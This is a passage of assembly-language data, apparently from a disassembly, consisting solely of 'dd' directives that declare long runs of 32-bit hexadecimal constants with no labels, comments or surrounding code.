		dd 388FE939h, 0AEBF07D2h, 58CBF853h, 0D803B50Ah, 9590E1F3h
		dd 5E3DF531h, 7906A5E9h, 3883423Ah, 80C9FE00h, 387B73C1h
		dd 0E04830EFh, 1F314810h, 0EBC42F04h, 0EBC2818h, 2F0F9075h
		dd 7AE66373h, 4B45D92Dh, 258A74DBh, 0F3E5F001h,	682E826h
		dd 56C9C7E9h, 9E6369F8h, 38E05FE1h, 0CBC89345h,	5042920Eh
		dd 1F8C865Dh, 13737279h, 0BB0EA0E5h, 0BC37A701h, 4B84684Dh
		dd 31042836h, 0BC15AF3Fh, 2ECD03D0h, 0B0145518h, 3FD4B5F5h
		dd 0DD18F61Dh, 3D461E45h, 9399A20h, 8DA3EA99h, 68919809h
		dd 3C6C2Fh, 3D583905h, 0B5C689BDh, 0E9891CC7h, 2E942A9h
		dd 72CBCA71h, 31519DCh,	0FDC60CA0h, 105C41Dh, 0BB53D600h
		dd 64881670h, 2001BD43h, 3B579CE9h, 762DEE62h, 8B055AF3h
		dd 0C243A8D6h, 77C8AF0Fh, 0A5746302h, 6FF84B05h, 665BEB00h
		dd 8952E75Eh, 7AB1DA59h, 0BBC39897h, 0CB1F04D0h, 0EBD9217Bh
		dd 0C1D93929h, 8E88302Fh, 533EA57Bh, 5CC98349h,	922D02Ah
		dd 527C7F1Ah, 2135E183h, 0D7B4C54Bh, 4967B859h,	0CC4EC6AFh
		dd 9AB75C59h, 75367F51h, 3CA2E895h, 326C9D29h, 81D04F45h
		dd 2F5D78F7h, 0B9436807h, 2ED38BF9h, 30A51F67h,	3BB7B742h
		dd 0B1C185A1h, 0B229BAE0h, 6A2000ACh, 0CC2576CFh, 661D1D08h
		dd 149C435h, 6B54D626h,	60697659h, 82D77B99h, 51CA6240h
		dd 294E320Ah, 82096D1h,	0AAC0CC0h, 955A088Dh, 9A81B794h
		dd 8537244Fh, 50A469h, 4373E7B7h, 96BE024Dh, 3149D4EBh
		dd 2D588AF6h, 5F11E4E0h, 7F71040h, 38C6E90Bh, 555CAD94h
		dd 7ED716E1h, 12AA078Ch, 11F426h, 28685886h, 226875Ah
		dd 90B0445Dh, 58B36FEEh, 0AC4D3227h, 0BBE9899Fh, 5F27B678h
		dd 5768C05Eh, 9909F268h, 0DE7AA534h, 557E5E84h,	0DBB0FD72h
		dd 0BBB221D2h, 450345C5h, 0AF5B5424h, 2F68EE68h, 8E4523C8h
		dd 76D6A12Dh, 604864B9h, 143A7FBAh, 0FA3125DDh,	7801A258h
		dd 2141E472h, 4E4C46D0h, 0F6B2565Ah, 0DDD5E24Fh, 0A046A7A1h
		dd 0B3CBE913h, 0F14A52A7h, 0FCFB20E4h, 0E21E7E69h, 0CB145D6Dh
		dd 0A3407298h, 0CAFA09B9h, 2C008558h, 181F57D8h, 85DA89Dh
		dd 3FBC5A12h, 8739A25Ah, 7A2977E9h, 29A6789Dh, 999837DEh
		dd 0E32257h, 0E480C2FEh, 0D1303EA7h, 81CB2724h,	483D0DBEh
		dd 0D5806B32h, 0C80A68FDh, 2B3C8BB1h, 0E725C367h, 2C44AC56h
		dd 19B89ACAh, 3C4E6880h, 0DBFE46E4h, 0D39A194Dh, 0B7EF9B97h
		dd 0A0083D54h, 1A39BD55h, 0CF2C3C71h, 0B904BB78h, 29954510h
		dd 150B00BEh, 0CA817DFEh, 6C316E14h, 0B1F203BCh, 1798267h
		dd 1370260Ch, 5358E92Ah, 0ACB153DFh, 2FB0425h, 612A8958h
		dd 0D8F689C2h, 4808CB93h, 45D12C8h, 0B253024Fh,	5B1C3A40h
		dd 6D17FB2h, 39FCE908h,	26015116h, 446273BCh, 9A022561h
		dd 9DA07DFEh, 4C2BCBF3h, 65827C64h, 81B3B104h, 385D1DCAh
		dd 6C24A312h, 50C7D27Eh, 0DCCD4DA3h, 0F2B2EC32h, 0A2663AEAh
		dd 6A7C510Ah, 1E4381Bh,	211F18EFh, 38E7D87Bh, 4E9E200Fh
		dd 81A077E9h, 1A2D0B58h, 0F45C0B09h, 0FDFC4012h, 7A461910h
		dd 1227E158h, 0ABAC36B1h, 55C600A5h, 3C2AC068h,	9CB424Bh
		dd 0C966B24Eh, 49AA046Bh, 2D0279E2h, 47F03F09h,	87D6DF41h
		dd 1C3DB9CDh, 0F1816420h, 0D72E3272h, 0F0487C8Eh, 4003B7BEh
		dd 0F0312A17h, 4C323A5Eh, 0A03DCB12h, 446EF79Ch, 0BA79C4B9h
		dd 0F44EF08Ah, 29D32F73h, 8C5C5D00h, 0B289F0B8h, 7C800142h
		dd 0A635273Fh, 317EC5F1h, 155F31B0h, 0B5E080D0h, 0D8728850h
		dd 5B58C11Fh, 2DC0C8D3h, 2C69A1B9h, 1291250Eh, 437AC9FAh
		dd 9C587Dh, 3349ABDh, 0E5812E63h, 41C90B9Fh, 9780C95Ah
		dd 7A1873CDh, 0FB0C6BCAh, 0C5EC405Ah, 7B685300h, 0E9EA3187h
		dd 0CB376706h, 3CE2C1C7h, 51122E9Bh, 4810A7A9h,	0B4257FB1h
		dd 0B547E96Bh, 547E805h, 488B088Eh, 2CFC28AEh, 96FB3959h
		dd 659C2185h, 0B1470420h
		dd 0B8E3C113h, 308702DCh, 404A2E6Bh, 0B4282DAh,	0D331157Fh
		dd 7631A85Ah, 0D685959h, 4AA7CAC7h, 6A885E51h, 73580368h
		dd 0C012E3Fh, 31E3719Ah, 0F0A0F701h, 47E92D08h,	6F5F4087h
		dd 0DFFF012h, 14016118h, 802E9BC8h, 41EEF828h, 69CD465Bh
		dd 3D25FE54h, 0D04FA6E2h, 2E6E6888h, 1279023Fh,	97402797h
		dd 0CCEC2DD8h, 9070999h, 0F8058C7h, 300E6B4Ch, 0E9DF3105h
		dd 0C2E3C11Fh, 0A0DB355Eh, 0A3B68DA4h, 0E50A5D09h, 4C5E1FE3h
		dd 0F45BBB9h, 0A1F2AF4Fh, 9A3B9124h, 0B553E21h,	0F4456809h
		dd 0C9C97AAh, 61EBCB80h, 0F87EC72Bh, 17D3890Ah,	5F040BEAh
		dd 40B25056h, 1E896882h, 0BB601CD6h, 160B238Bh,	885C3110h
		dd 65CB5B43h, 0A5027EE9h, 51403451h, 0B93EA068h, 88538784h
		dd 5BFC23D7h, 0B08FE5AAh, 9883EF29h, 851049CEh,	0B0582116h
		dd 0BE02C65Ch, 33D6693Dh, 46C27DFh, 0FFDE55h, 0CDC681ACh
		dd 1E4FD23Eh, 1A18EEF0h, 2E2C7C16h, 580C7360h, 94F6F9Ch
		dd 7E327894h, 13814F5Ah, 9F640A12h, 0B587A5CBh,	0E1C6896Fh
		dd 90E05B4Dh, 87872A84h, 42491AB9h, 449F8075h, 9836B835h
		dd 1A403CB5h, 1BE92609h, 6A599361h, 67AD303Dh, 42DD0F9h
		dd 32EB019Bh, 9C7838D2h, 2E336813h, 0DF13F7E3h,	41F6DA0Fh
		dd 98B5308Ch, 0DC661240h, 3EA5E812h, 83AD4A68h,	90F92C0Bh
		dd 184B9263h, 809EDE0Bh, 2C0CD828h, 58E104F8h, 2A204159h
		dd 95830C84h, 616A452h,	36D5F32Ch, 0EBA6544Bh, 5AD4E310h
		dd 285138A4h, 0B2CC5954h, 8A5F4B52h, 46605B21h,	0BDB0E9D6h
		dd 0C7680698h, 0F4A3B0Ch, 17922C5Bh, 0B06D3A56h, 0DB4CF7CFh
		dd 91F74074h, 5876A8BAh, 0BEC6D4Dh, 266FE88h, 0ADA98108h
		dd 0EBDD38C0h, 0BE19A2Ah, 0DB519AE9h, 112DB9C9h, 5442AE25h
		dd 0D589EE9Ch, 0BE6E82C2h, 46D8012Fh, 0A868167Fh, 278FA32Bh
		dd 80448160h, 88285BEAh, 28E4B5C2h, 0EF3529C0h,	3E444B5h
		dd 1D1CBF57h, 5EF66692h, 0D84A8DB6h, 59173E20h,	8B8DCF01h
		dd 4012D308h, 0E5B45ACEh, 5038DCA6h, 373D15Ah, 6666E926h
		dd 636BA81h, 916A05CFh,	261E00Dh, 5DA25DD2h, 58DB129Fh
		dd 521306A1h, 1868708Ch, 8E2D50D8h, 282B3EAh, 0A293D2h
		dd 5103E2C0h, 8F53663Fh, 0EBDD88D5h, 5C9C2BFAh,	0AD685A34h
		dd 419A55C9h, 0DD066A26h, 0A25A46Fh, 337E72CFh,	0D0FB3F53h
		dd 8A5421BAh, 0B418C52Dh, 712DFE0Ch, 0BA46CC2Eh, 0A661B038h
		dd 0B102BE46h, 464AB718h, 0F3812454h, 0A2AC0EDCh, 190AEAC0h
		dd 94B624A9h, 5008C214h, 788238D3h, 5D4D7993h, 796F79C0h
		dd 0D228EF0Bh, 0A9C108Eh, 9BE02CACh, 0E380FC07h, 17D3F683h
		dd 1CEBC004h, 5264C3A6h, 0F2B146B2h, 0FB0680BFh, 0E9D2B151h
		dd 0E24F5A15h, 0AB497824h, 2D994774h, 42620050h, 3FA3CA81h
		dd 0EE08302h, 0EB3F46F2h, 2C84554Ah, 8F2A1FEAh,	0E8234166h
		dd 0C1AF055Dh, 0F6E93EC8h, 0D1850FCAh, 338C0504h, 8BAAA8E2h
		dd 7CA1095Ch, 2CBE42DDh, 816CB955h, 2F181974h, 0B1A3414Dh
		dd 2B245CE4h, 66279AEFh, 0AC9E54F1h, 31D86929h,	4E89D67Ch
		dd 41DE7EB8h, 3F30D668h, 532D7CDAh, 4AA5357Bh, 317A4163h
		dd 0FBC954h, 0A9010556h, 896543DFh, 0EAFCA8D4h,	10743969h
		dd 23225000h, 1EFF781h,	296F83A5h, 3D8EE9FDh, 10C4481Dh
		dd 0B21C33F6h, 59EA0166h, 0CCFAC280h, 0E91760E2h, 6BE9FDD7h
		dd 541D22D2h, 0FB138082h, 36DDFA69h, 0ED800E4Fh, 2EF5657Bh
		dd 0BC957C2h, 673F9574h, 5077AD77h, 96CF3h, 62EE2D11h
		dd 0F4054BFEh, 419E5505h, 43D4CBE9h, 0C6184880h, 0E448BC43h
		dd 0C50712EAh, 0D77060C1h, 0B4C821FBh, 0E0478867h, 8DCF8100h
		dd 0C065F66Dh, 0BB55930Ch, 56024714h, 0A2411FBEh, 6312E071h
		dd 0EF33C0C8h, 571B7964h, 66DFB0B5h, 8E19921h, 29139B61h
		dd 0ACE128C0h, 626D2C7Ch, 1FEA1880h, 0A6B0D5F7h, 0ABA4E40h
		dd 340B5A88h, 227209C5h, 0F7C3DC56h, 0B124E7F9h, 48C1F5ACh
		dd 4425C82Eh, 80C865FDh, 39E168E1h, 0E911520Eh,	1C395945h
		dd 6A59DD2Eh, 596E5C21h, 519E237Bh, 3829D4C9h, 9F7A190h
		dd 153DEE04h, 836F317Bh, 80EC7CC6h, 1168C80Fh, 0C55B370h
		dd 809E9AC9h, 0FE73C77Ah, 5CC80ACBh, 0ED2D3CE8h, 0E1E81D49h
		dd 2911B1C5h, 0F4F6A8F7h, 9B31E4Fh, 580479CAh, 7F5C269h
		dd 30A17FC1h, 0E9249545h, 180F3CCh, 0BCC381EBh,	7FB4160Dh
		dd 254085Dh, 0DE59CB42h, 0F8666466h, 0C0E3C4DAh, 0CDC039BBh
		dd 0CCDD2BE2h, 40FA2A02h, 80DC0691h, 0F05CB753h, 2FC05B49h
		dd 0B03003B5h, 0F36E20CAh, 5326BE01h, 0F5293970h, 16ED2420h
		dd 0E04B0427h, 9812E1E9h, 95E876E5h, 42E31392h,	9183573h
		dd 70974055h, 0D182D42Fh, 6DB5984Ah, 0F7D6039Fh, 0ACCABFDEh
		dd 0DEE7C18Eh, 23E9DF92h, 8A40CE13h, 54E06DF8h,	0E9EA9C6Fh
		dd 6B87EE4Eh, 0E4D2FCC7h, 8B8ED703h, 0B80F1288h, 0D9FAE4F0h
		dd 6D0AE2C0h, 29341347h, 0BB5F08E9h, 45D660Fh, 50D0BF27h
		dd 919E781h, 4F12F414h,	171FC400h, 0CC03E7Eh, 82E0ABC8h
		dd 5FFB3989h, 5A73D0E2h, 0E454CD99h, 48973D86h,	94DA48F9h
		dd 6AE96FE0h, 0F746AFC0h, 8A4DD678h, 0AAE05A8Eh, 940BF208h
		dd 0C480076Eh, 0A4E50744h, 29AFE091h, 75DEE25h,	153CBA33h
		dd 835E1DF3h, 95A5FDEBh, 0E102BB09h, 145F3855h,	411444F0h
		dd 5509940h, 0DDAA69B8h, 4700FBD0h, 713CAD2Dh, 0D8011444h
		dd 295E0705h, 7046F82Bh, 2A6EF934h, 45803C81h, 29CBE350h
		dd 0F3E55C4Ah, 0B60F0516h, 272158EBh, 1D039FAh,	27684220h
		dd 0FE7169DCh, 0B4C8F2C9h, 23E950CDh, 3B27A6FBh, 0E0EE30Dh
		dd 0FC9AF101h, 60A4BA00h, 3122B40Bh, 211E31DAh,	0C814642Bh
		dd 1B409AD9h, 1C683553h, 3A07BF6Bh, 2A0077A9h, 0AAC50EE9h
		dd 9810C3C5h, 3BA52F8h,	1BEC421Ah, 413D2F7h, 0C71AEA87h
		dd 0CB9CC008h, 0CC582E43h, 47FCA634h, 3004888Bh, 0B7CC66E7h
		dd 27AEA102h, 75588932h, 5690102Fh, 144A0968h, 4F411931h
		dd 47A9BA00h, 81281700h, 0F37894E2h, 5855B84Bh,	5AC9B4CAh
		dd 0AE0529B2h, 0A100BE50h, 0E963AE7Ch, 0A4D54B58h, 1CC106E6h
		dd 77304BB3h, 14709B20h, 0C92FA903h, 820E7804h,	6802AA08h
		dd 482A4534h, 4812DBA7h, 0E113F7F6h, 72922747h,	1DC6F55Ah
		dd 7586BB09h, 4B3B4035h, 0D0E30181h, 0E9262710h, 6E093EC1h
		dd 0DC959031h, 605C8197h, 7D256860h, 2699DB76h,	281C2D2Dh
		dd 69586895h, 51579C29h, 0B17EDE8Bh, 7BED3FCFh,	0BBD88D14h
		dd 77C28BFh, 15C38009h,	4DFCF5D5h, 250BB83Ch, 46D04D1Fh
		dd 4F90B68Ch, 600D8527h, 7BBFC5BBh, 70B7650h, 6F334FF5h
		dd 4BCDC062h, 2E4AD952h, 0E907A718h, 0E104BD74h, 83DD8721h
		dd 1012DB40h, 0BC16E4D0h, 0F2E2FCD3h, 0FF664A5Ch, 0FE68CF81h
		dd 77622A5Eh, 0A6EC8055h, 0F87BE31Eh, 4D5F04FDh, 0D1D0CFE9h
		dd 6B59CA53h, 4E846234h, 0C42FB0E1h, 47F6FCh, 51EDEB80h
		dd 4BE9A5B1h, 0F19CD2DEh, 9448E5Dh, 0F757A234h,	0C88075D8h
		dd 0C06C052Dh, 0C5312E0Ch, 0D3CA8058h, 326E0451h, 0BDB119F3h
		dd 50A16BDCh, 18729261h, 0C1BAA76h, 0C15C21B7h,	7A2574h
		dd 3AF0D18h, 25533E3Fh,	7BA92B00h, 290B1335h, 952F0290h
		dd 0F698EEE5h, 94E84802h, 17C2E6D7h, 96F19C68h,	97C2A2Ah
		dd 16458668h, 759D932h,	0F440385Eh, 585F0FCh, 1017ADC0h
		dd 5A241AA2h, 4D6A2DBCh
		dd 0D1099660h, 0EF85F150h, 41343503h, 41CF2918h, 0AB2C0828h
		dd 0AF8910D6h, 0C9C0EF27h, 1204B3BBh, 0DF016D76h, 0E912FDCBh
		dd 0F76E44B7h, 125C80DDh, 0F5EBD68Ah, 4CE12878h, 0E5B74161h
		dd 0CB0A2B44h, 0C1816EBAh, 1F356C06h, 86D502Ah,	832C9D4Ch
		dd 0A5688419h, 23F4454Dh, 116D25AEh, 89104755h,	892D3DBBh
		dd 7C1CB035h, 0C9DD8801h, 6290B80Fh, 48093BA2h,	4C5B682Ch
		dd 0F7C51542h, 0F53FF014h, 0AEC99C3Dh, 88B18A5h, 146E727h
		dd 6F4BBB53h, 0EED1307Bh, 1E82A3D7h, 2F2DFEA2h,	0B380F6F3h
		dd 0AECB8043h, 1AB20552h, 0BA0BAAE9h, 0BD9A9461h, 351EEB04h
		dd 24C6BF09h, 1AE5247Bh, 5A4647Eh, 0A5B1D9DFh, 54523012h
		dd 8F62005h, 0E2380388h, 5895403Fh, 28FD4FBFh, 33A2F36h
		dd 1E5B5A46h, 0FA01CDD1h, 3A8D2E83h, 0C4F2A27h,	2D1C8E5h
		dd 0AD65AC66h, 5815A358h, 89B1259Bh, 1891D897h,	0A5466668h
		dd 5B81AD60h, 7FAB8A6Bh, 0C0D449h, 1312C0BFh, 0C9C4BA18h
		dd 0B05C290Bh, 12893E3h, 823EEADDh, 0F042757Fh,	5803DBEh
		dd 0A06A0B88h, 0B202D168h, 0D1FA1561h, 2D58A63Eh, 59106C06h
		dd 53296462h, 0ADD092DEh, 0AD4B9EE6h, 51E17EB7h, 99D3251h
		dd 50AB753h, 1412F6EEh,	0C94F5EAAh, 9CA4BC8Ch, 9A0682EFh
		dd 84B6F370h, 343DDE2h,	0E25EC201h, 430250E5h, 1D9A2A9h
		dd 0A0E555C3h, 90D2EB90h, 0B93B612Dh, 0D7F72200h, 3A9BB850h
		dd 485E2563h, 0F3A3F440h, 8B68EDCFh, 9C0D116h, 0AAD99411h
		dd 0D7232016h, 0CA194B05h, 625C8912h, 624DF4ECh, 8DEC4E9h
		dd 72D7812Fh, 0E1F62174h, 0D93E9B0Ch, 305D2103h, 61C0427Bh
		dd 0F62D53EDh, 3D0B870h, 9D4595Dh, 0F2F0DAF7h, 11091491h
		dd 6922E92Ch, 3680D559h, 8B76C7BFh, 5D2FEF29h, 0BE8CC04Fh
		dd 0B69F6353h, 7CE84663h, 514B19E9h, 5F9D5090h,	426A60CCh
		dd 32033CF6h, 0BF8DE930h, 0BB3A4D68h, 80571E42h, 3F4E3B74h
		dd 85B5B6E9h, 0EF25590Bh, 5B688923h, 1E840CDFh,	1F0FF2DDh
		dd 6918646Fh, 502160F8h, 17BE0556h, 0F935CD01h,	874A2C20h
		dd 0CA7222A4h, 6426D78h, 3DA435E9h, 6DE5F61Ch, 0E814014h
		dd 33C47B5Ch, 312F41ECh, 5750BEC4h, 0FD409F3Ch,	0F0537250h
		dd 92E75B55h, 23F8E6F1h, 31F740BDh, 0B4FBF4CDh,	0CFB81D31h
		dd 0AE124C93h, 70C37D40h, 9C6C2518h, 85039B1h, 61149C5Dh
		dd 50D22DE9h, 6E6C1A3h,	3CEE8103h, 173B5B44h, 0E25401ADh
		dd 43E90BD8h, 31D7113Dh, 7B818D7Bh, 0F734ED22h,	319F3C16h
		dd 96EAFBEh, 8C52BD5Dh,	0C9E75F4h, 0CA3DEB27h, 0FDF36A18h
		dd 34453E9Ch, 680C4272h, 0A3636AF7h, 588ABD0h, 3F9F0F1Dh
		dd 0B8802EE8h, 23C2798Ah, 6A72C09Fh, 0AEE4BDEDh, 55436818h
		dd 0D63FC049h, 47ACB0E9h, 13C72B12h, 0C442B6B0h, 0D121E90Fh
		dd 0FE01687Dh, 0B002AD79h, 0FF15B311h, 0E3C02A80h, 0D2E78003h
		dd 0EFB4F643h, 0B4C6A464h, 0B310066h, 0D3BD01C5h, 0FE5B3AF4h
		dd 4EE7D910h, 5BE99845h, 0CE5E2DFCh, 54530B94h,	0E9D4565Bh
		dd 4C96FF4h, 11336B3h, 0C160C9EBh, 8CC03A28h, 0B8224875h
		dd 49EF095Eh, 16768252h, 25E6D738h, 687D8056h, 587B3912h
		dd 0BA17B661h, 3CDE8C21h, 14390995h, 14E595ACh,	72EEBF34h
		dd 74092971h, 0D4686154h, 57422622h, 0C4C57DAh,	0A89158E9h
		dd 7D740905h, 0B1789DFBh, 6AD18927h, 0A5855117h, 5C4469D1h
		dd 584E37C8h, 0F0D8EF0Dh, 0EBBACC44h, 63A9EF25h, 0BB40D9A1h
		dd 5C3726Bh, 0D841CCECh, 4BABFA00h, 0E4127BD2h,	5820C905h
		dd 634A4052h, 0AC9796E2h, 0E955C2C9h, 0FFA25F8Eh, 0C2E61886h
		dd 0F9419198h, 0DE95A88Bh, 179C20CEh, 9CDBF952h, 0ECAA12E9h
		dd 6169209h, 0D4B4A4ECh, 0FE7C347h, 0DEF6BF02h,	5EF08850h
		dd 0BD3A34DCh, 6B20F4FDh, 3745E980h, 7204D9F6h,	0ADE117F1h
		dd 86618F12h, 78D10BF9h, 0C2082409h, 0D14C13F1h, 3905F6Ch
		dd 6DAFD857h, 85145AECh, 16513F0h, 1702A843h, 0A8E0008h
		dd 0E96B08F3h, 6C2CFE76h, 41AE7B12h, 61872487h,	135C73C3h
		dd 7BF841D3h, 3C784789h, 56699C9Ch, 0D1F12DB0h,	0BE6610ADh
		dd 0C36817C8h, 52993236h, 6CD2EB41h, 0E892A56Dh, 9522F063h
		dd 0ECD34A42h, 4CCA2627h, 56C9E35h, 0AF448F68h,	6D5F9130h
		dd 0C9635ED2h, 3EEA319Fh, 2671E316h, 5902AB44h,	6B55AD4Ah
		dd 0AD0F4AD1h, 0F7E90BDFh, 5C9AF29Dh, 0A4C4790Fh, 120C0834h
		dd 539EC1F2h, 0F960AD81h, 0AEA09B2h, 0FD720FF4h, 0B1746F05h
		dd 66CBC014h, 7BC95955h, 0B06C864Eh, 78D0BE02h,	1ED84E9Ch
		dd 0A0150125h, 0CA776DA6h, 3BF0ED0Eh, 71BD0021h, 1E26850h
		dd 584B36CBh, 2083D9F1h, 38530878h, 3C41F9EBh, 181CA008h
		dd 282418D1h, 296530B8h, 9FC56846h, 18FC130h, 4AEB25E9h
		dd 84FC939Ch, 0F62E3BBAh, 2717D6D3h, 8D004DA9h,	0F7175C41h
		dd 0CF0781D7h, 67CB2186h, 404CEF60h, 0B1A7C1Dh,	0A05EC7E7h
		dd 3C01FCD0h, 0E9E4975Ah, 8E53EA08h, 0E48EF39Fh, 508726EDh
		dd 0C7797416h, 0D3A7A1C9h, 5FA12A6Dh, 0A85C856Eh, 0BA2D0214h
		dd 98605474h, 0E661B1Fh, 535742BCh, 0CB1858E1h,	0FDE9304Eh
		dd 72395601h, 0A917E94Bh, 0A2C5446Fh, 0C001090Ch, 165282B6h
		dd 0B25970DFh, 807E2D5Ch, 0A9CD81DDh, 28561615h, 104FB945h
		dd 6F50FAA8h, 92F5F140h, 60C0C92Fh, 8080C896h, 5BA078E1h
		dd 0BB74177Ch, 359C7605h, 79EDE401h, 0FCD44452h, 5B3A9FD3h
		dd 517C2AC2h, 0A1FD2754h, 26C3FB93h, 66584B28h,	7965948Ah
		dd 552C926h, 0F6C8FDD3h, 0EE48A152h, 23FF5608h,	0C34B74D6h
		dd 0E8011156h, 2694138Eh, 9538E1F4h, 8659A09Ah,	0E1705F45h
		dd 1CD03F1Eh, 82CB3154h, 0EB1DE9D9h, 2844475Eh,	0C380B990h
		dd 0CD995AEh, 304AF5A8h, 5D588E22h, 0A8948468h,	2BD42C5h
		dd 2B246DABh, 0EDB07344h, 0DB8D8746h, 4D26FB7Ch, 96BE3F9Ah
		dd 0CEE4F123h, 0A07E0B36h, 3370F70Ah, 3C574500h, 0DB71BACBh
		dd 0C9D852F6h, 43E46B76h, 9E09A359h, 48A97A3Eh,	8607B802h
		dd 0E53404D8h, 0E6E2B414h, 0B4710558h, 1482CA64h, 70C556ABh
		dd 174BC068h, 0B0502D98h, 14BF00AAh, 45B81FEAh,	0E06115EBh
		dd 1B76CC16h, 3FCA3F30h, 11B078A0h, 7369B90Ch, 9CE92E13h
		dd 0B02A88B1h, 7BF25A9Fh, 0A012F469h, 0C0FE692Ch, 0C23EE72Ch
		dd 0E9F06E14h, 0E10DB3B5h, 8F69F196h, 0BDB71212h, 0F2810101h
		dd 0F57B703Ah, 0EEA33E92h, 0E48F0332h, 43C3286Eh, 0C60AC79Ah
		dd 2FAEE251h, 1F62C7CAh, 29F3ED48h, 59798916h, 5F07B210h
		dd 685BE4C0h, 37735F7Ch, 0BF45F060h, 0E9125307h, 0B9CD3ECFh
		dd 7F51DB02h, 82AC7595h, 2D8D6A08h, 0E81763E5h,	0FBFD0FD3h
		dd 1C9CBEEh, 4C6435E7h,	2909176Bh, 90F51D90h, 57058389h
		dd 58F45329h, 0C4C0A10Bh, 4EECF066h, 1331E39Bh,	0E5921958h
		dd 239D8A6h, 41120968h,	63685D1Bh, 440EE581h, 0DE2BD159h
		dd 1018035Ch, 255DEB9Ch, 83D61801h, 7D2C605Ah, 0DBD1CB37h
		dd 0EA81BA23h, 4A1F6970h, 0B68CD2F7h, 0CE21D97h, 2F55691h
		dd 0DF17B928h, 0AAC6E4D3h, 0ABE92506h, 0BA5CA204h, 0CEDB83Dh
		dd 71B7D39Eh, 25D98658h, 0CF88D09Dh, 0AF4B97FAh, 4D787FB2h
		dd 113635Ah, 9C6B05EFh,	0D2EEB343h, 0E90CABCAh,	57F5468Dh
		dd 0D76921B8h, 0C9468F06h, 0AD0CAE71h, 0C6C916Fh, 2B352D4Bh
		dd 13755FE0h, 3490947h,	132F8D97h, 0F5B2E98Bh, 920FBB77h
		dd 9A0156D3h, 0A0D55F40h
		dd 0B56F6ECFh, 989DAB4Ah, 1B508605h, 66552A79h,	0C72C448Fh
		dd 49A93BC4h, 83C89805h, 0B322A8EFh, 7D317C16h,	0A6B83492h
		dd 2628F065h, 307E1E1Fh, 2081FA57h, 99DC9704h, 2D69BFD4h
		dd 5068B08h, 0DD72C166h, 38FD417Eh, 0D844B01Ch,	6112A9F5h
		dd 0DAC49D2Ah, 5ACBC3EDh, 2EACF5B8h, 0F84EA0BFh, 950804CBh
		dd 50030F9h, 9F1C276Bh,	36309F50h, 69B53235h, 0A4073AEEh
		dd 0D0D6C906h, 0C85B67F9h, 9935E283h, 5022801h,	2972B340h
		dd 0E94F661Dh, 99DCC83Dh, 458B77D6h, 0F302478Fh, 0AE0F8A7Ah
		dd 0F861B675h, 896F141Dh, 71EE30CFh, 0F24BEB25h, 0B2B1F6DCh
		dd 0CD680498h, 0C21C8B1Bh, 34DF4184h, 0B9E2C04Fh, 334E4085h
		dd 39C7E924h, 13674A5h,	1A32577Ah, 796E9A41h, 13145F0Fh
		dd 0CAB728FCh, 1680FF12h, 7486276Eh, 4F76E988h,	489EA2BAh
		dd 2BD219D0h, 3007EBCFh, 15027587h, 10CF0158h, 16DE9182h
		dd 5F17C23Bh, 2FC01E7Dh, 6458EE68h, 843C9A97h, 5002A53Dh
		dd 0FD534B4h, 14DAE78h,	33E958E2h, 0F3815B81h, 304C57AEh
		dd 0AB09C322h, 5C8479B6h, 0C6010B92h, 3A08FDE7h, 74046F1Ah
		dd 50F2A31Ch, 61602EFBh, 0B1DD7954h, 61B8B501h,	364B67E9h
		dd 601CE749h, 0C4DF09FCh, 1235F41Ch, 0A012D9A8h, 0D7AD49EEh
		dd 0B559CDD6h, 5A710A3Bh, 70FCD295h, 579D9B89h,	0E91390B4h
		dd 1C34F158h, 1A1D79D0h, 4C7F4EF5h, 296F070Dh, 4805F82Fh
		dd 4AC789E7h, 42E51D58h, 0D3F58F10h, 0DAE74970h, 56A38565h
		dd 0C16CE98Bh, 75375C83h, 429ECD4Bh, 0D4565646h, 0E20E9C1h
		dd 0F9069132h, 0C43D665h, 73D40B09h, 0DE30786Dh, 0E002424Ah
		dd 0BCC3D123h, 482EC090h, 6EA7E48h, 22AF74B8h, 4C2C060Ch
		dd 274110B4h, 64670B16h, 0E67A68E8h, 90315EDDh,	7A66E696h
		dd 9367FB3Fh, 58FC8AD6h, 89FD64A1h, 68C717h, 0EFC1101Ah
		dd 989AAB03h, 0E509FEDAh, 1C32133Ah, 40C2AE2Ch,	52016887h
		dd 2FE7E69Dh, 0B384990h, 0A293D012h, 0F8884C0Ah, 5020F2E8h
		dd 0CB4DF30Fh, 0DE0104D2h, 4E28EEE3h, 0CA38009Eh, 0F0897503h
		dd 0C148215Eh, 2B688288h, 0DD6D8402h, 0F316FB1Eh, 58E52C5h
		dd 0D6F7CDh, 6E7F7B8Eh,	0B6E34630h, 0EC82D758h,	6A2F174Fh
		dd 975A08E8h, 52D6B901h, 0C1707E57h, 0EECB518h,	58CF897h
		dd 6C80697Ah, 7ED50C59h, 9790890Fh, 0C6907F5Fh,	286603C1h
		dd 60DB55DBh, 3A222C05h, 1EC304E8h, 0C906E5CFh,	8A60CA29h
		dd 705A81C4h, 93B79AE6h, 0CA5EF278h, 0DDC75DA8h, 0A2C5E989h
		dd 57632C45h, 0BCAF2D04h, 81AD00D3h, 0FA68D1EEh, 0FE14B57Eh
		dd 12B8BD06h, 32865B5h,	621E6B13h, 0BAB434E9h, 4695CE37h
		dd 7F4DC2E1h, 0B36437E9h, 0F5881C51h, 66EBDD53h, 14591960h
		dd 0F25520C5h, 0F74A209Ah, 9F8487BDh, 0BA72EF11h, 8B246DD5h
		dd 79F6BE68h, 0A101086Fh, 0CB9B0B95h, 296FA15Eh, 0A3ECAAC0h
		dd 5F18BA04h, 21C0B7C7h, 9D531F78h, 0B133DE85h,	9ED52027h
		dd 59C023FEh, 0B551EB28h, 0E1D6E153h, 8005F938h, 0B93EC44Bh
		dd 0AEBF3900h, 0E9EEBDF5h, 0AF315C92h, 0F8E5CD9Dh, 98E7C12Eh
		dd 0E28BB672h, 0B0E89047h, 1DA54D96h, 5AA79A5Bh, 417F74B0h
		dd 0E8B7E0ACh, 0BEF78006h, 2DE4EFC0h, 0B4692BD3h, 17CC2B02h
		dd 0C83B2D66h, 2E30050h, 0C3D38752h, 2C44DB29h,	0D02A3EE8h
		dd 878D34DAh, 8389EAE9h, 0E9824733h, 60DC22D1h,	133AC150h
		dd 0FC25D346h, 8E928A8h, 17D6D4A0h, 5A3B1997h, 6E09A23Ah
		dd 2F437381h, 0F9515866h, 913F3813h, 0A59368D3h, 0EFC6D49Ch
		dd 3E905BABh, 190BBAC3h, 0E229791Ch, 0C7080CD5h, 80C44AE9h
		dd 18D5BF03h, 0A54F0A2Eh, 0F5EF2B02h, 9A5D2B0h,	724B27AFh
		dd 781CE70h, 0F50E3B5Bh, 27AA55D0h, 282B5354h, 0E90F404Dh
		dd 5BC0804Fh, 70B597B0h, 58C50D06h, 6004DDF6h, 0D4EEF813h
